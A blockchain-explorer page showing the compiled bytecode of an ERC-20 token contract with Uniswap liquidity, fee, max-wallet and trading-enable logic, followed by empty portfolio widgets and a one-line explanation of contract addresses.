8ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b6060600480546107f090611df2565b5f61087d3384610949856040518060600160405280602581526020016120cf60259139335f9081526001602090815260408083206001600160a01b038d1684529091529020549190611646565b5f61087d338484610e4a565b6006546001600160a01b03163314610bff5760405162461bcd60e51b81526004016107ae90611dbd565b6001600160a01b038116610c645760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ae565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b610cea307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610d9d565b60405163f305d71960e01b8152306004820152602481018390525f60448201819052606482015261dead60848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015610d71573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d969190611e9e565b5050505050565b6001600160a01b038316610dc35760405162461bcd60e51b81526004016107ae90611ec9565b6001600160a01b038216610de95760405162461bcd60e51b81526004016107ae90611f0d565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610e705760405162461bcd60e51b81526004016107ae90611f4f565b6001600160a01b038216610e965760405162461bcd60e51b81526004016107ae90611f94565b805f03610ead57610ea883835f61167e565b505050565b6006546001600160a01b03848116911614801590610ed957506006546001600160a01b03838116911614155b8015610eed57506001600160a01b03821615155b8015610f0457506001600160a01b03821661dead14155b8015610f1a5750600654600160a01b900460ff16155b1561120a57600d5460ff16610fab576001600160a01b0383165f908152601c602052604090205460ff1680610f6657506001600160a01b0382165f908152601c602052604090205460ff165b610fab5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016107ae565b6001600160a01b0383165f908152601e602052604090205460ff168015610fea57506001600160a01b0382165f908152601d602052604090205460ff16155b156110cd57600a5481111561105f5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016107ae565b600c546001600160a01b0383165f908152602081905260409020546110849083611fd7565b11156110c85760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016107ae565b61120a565b6001600160a01b0382165f908152601e602052604090205460ff16801561110c57506001600160a01b0383165f908152601d602052604090205460ff16155b1561118257600a548111156110c85760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016107ae565b6001600160a01b0382165f908152601d602052604090205460ff1661120a57600c546001600160a01b0383165f908152602081905260409020546111c69083611fd7565b111561120a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016107ae565b305f90815260208190526040812054600b5490919082108015919082906112385750600d54610100900460ff165b801561124e5750600654600160a01b900460ff16155b801561127257506001600160a01b0386165f908152601e602052604090205460ff16155b801561129657506001600160a01b0386165f908152601c602052604090205460ff16155b80156112ba57506001600160a01b0385165f908152601c602052604090205460ff16155b156112e8576006805460ff60a01b1916600160a01b1790556112da6117a7565b6006805460ff60a01b191690555b6006546001600160a01b0387165f908152601c602052604090205460ff600160a01b90920482161591168061133457506001600160a01b0386165f908152601c602052604090205460ff165b1561133c57505f5b5f811561151c576001600160a01b0387165f908152601e602052604090205460ff16801561136b57505f601454115b1561141c57611390606461138a6014548961194390919063ffffffff16565b906119c1565b9050601454601654826113a39190611e3e565b6113ad9190611fea565b60195f8282546113bd9190611fd7565b90915550506014546015546113d29083611e3e565b6113dc9190611fea565b60185f8282546113ec9190611fd7565b90915550506014546017546114019083611e3e565b61140b9190611fea565b6114159084611fd7565b92506114eb565b6001600160a01b0388165f908152601e602052604090205460ff16801561144457505f601054115b156114eb57611463606461138a6010548961194390919063ffffffff16565b9050601054601254826114769190611e3e565b6114809190611fea565b60195f8282546114909190611fd7565b90915550506010546011546114a59083611e3e565b6114af9190611fea565b60185f8282546114bf9190611fd7565b90915550506010546013546114d49083611e3e565b6114de9190611fea565b6114e89084611fd7565b92505b80156114fc576114fc88308361167e565b821561150f5761150f3061dead8561167e565b6115198187611e55565b95505b61152788888861167e565b5050505050505050565b5f6001600160a01b0385166115585760405162461bcd60e51b81526004016107ae90611ec9565b6001600160a01b03841661157e5760405162461bcd60e51b81526004016107ae90611f0d565b6001600160a01b038581165f8181526001602090815260408083209489168084529482529182902087905590518681527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3949350505050565b5f806115ed8385611fd7565b90508381101561163f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ae565b9392505050565b5f81848411156116695760405162461bcd60e51b81526004016107ae9190611cb7565b505f6116758486611e55565b95945050505050565b611689838383611a02565b6001600160a01b0383166116af5760405162461bcd60e51b81526004016107ae90611f4f565b6001600160a01b0382166116d55760405162461bcd60e51b81526004016107ae90611f94565b611711816040518060600160405280602681526020016120a9602691396001600160a01b0386165f908152602081905260409020549190611646565b6001600160a01b038085165f90815260208190526040808220939093559084168152205461173f90826115e1565b6001600160a01b0383165f8181526020819052604090209190915561dead14610ea857816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e3d91815260200190565b305f9081526020819052604081205490505f6018546019546117c99190611fd7565b90505f8215806117d7575081155b156117e157505050565b600b546117ef906014611e3e565b83111561180757600b54611804906014611e3e565b92505b5f600283601954866118199190611e3e565b6118239190611fea565b61182d9190611fea565b90505f61183a8583611a79565b90504761184682611aba565b5f6118514783611a79565b90505f61186d8761138a6018548561194390919063ffffffff16565b90505f61187a8284611e55565b5f60198190556018559050851580159061189357505f81115b156118e6576118a28682610cbf565b601954604080518781526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6007546040516001600160a01b039091169047905f81818185875af1925050503d805f8114611930576040519150601f19603f3d011682016040523d82523d5f602084013e611935565b606091505b505050505050505050505050565b5f825f0361195257505f610881565b5f61195d8385611e3e565b90508261196a8583611fea565b1461163f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ae565b5f61163f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c70565b6001600160a01b038316611a285760405162461bcd60e51b81526004016107ae90611f4f565b6001600160a01b038216611a4e5760405162461bcd60e51b81526004016107ae90611f94565b325f908152601c6020526040902054610ea8908490849060ff16611a72575f611c9c565b5f19611c9c565b5f61163f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611646565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611aed57611aed612009565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b69573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b8d919061201d565b81600181518110611ba057611ba0612009565b60200260200101906001600160a01b031690816001600160a01b031681525050611beb307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610d9d565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611c3f9085905f90869030904290600401612038565b5f604051808303815f87803b158015611c56575f5ffd5b505af1158015611c68573d5f5f3e3d5ffd5b505050505050565b5f8183611c905760405162461bcd60e51b81526004016107ae9190611cb7565b505f6116758486611fea565b5f8111611caa576001611cac565b5f5b60ff16600555505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611d00575f5ffd5b50565b5f5f60408385031215611d14575f5ffd5b8235611d1f81611cec565b946020939093013593505050565b5f60208284031215611d3d575f5ffd5b813561163f81611cec565b5f5f5f60608486031215611d5a575f5ffd5b8335611d6581611cec565b92506020840135611d7581611cec565b929592945050506040919091013590565b5f5f60408385031215611d97575f5ffd5b8235611da281611cec565b91506020830135611db281611cec565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611e0657607f821691505b602082108103611e2457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761088157610881611e2a565b8181038181111561088157610881611e2a565b5f60208284031215611e78575f5ffd5b5051919050565b5f60208284031215611e8f575f5ffd5b8151801515811461163f575f5ffd5b5f5f5f60608486031215611eb0575f5ffd5b5050815160208301516040909301519094929350919050565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8082018082111561088157610881611e2a565b5f8261200457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561202d575f5ffd5b815161163f81611cec565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156120885783516001600160a01b0316835260209384019390920191600101612061565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122061a42444921321e2d93d3e6a322502853328c29dd43a34ac629a7740ccb9313464736f6c634300081e0033
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 34 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.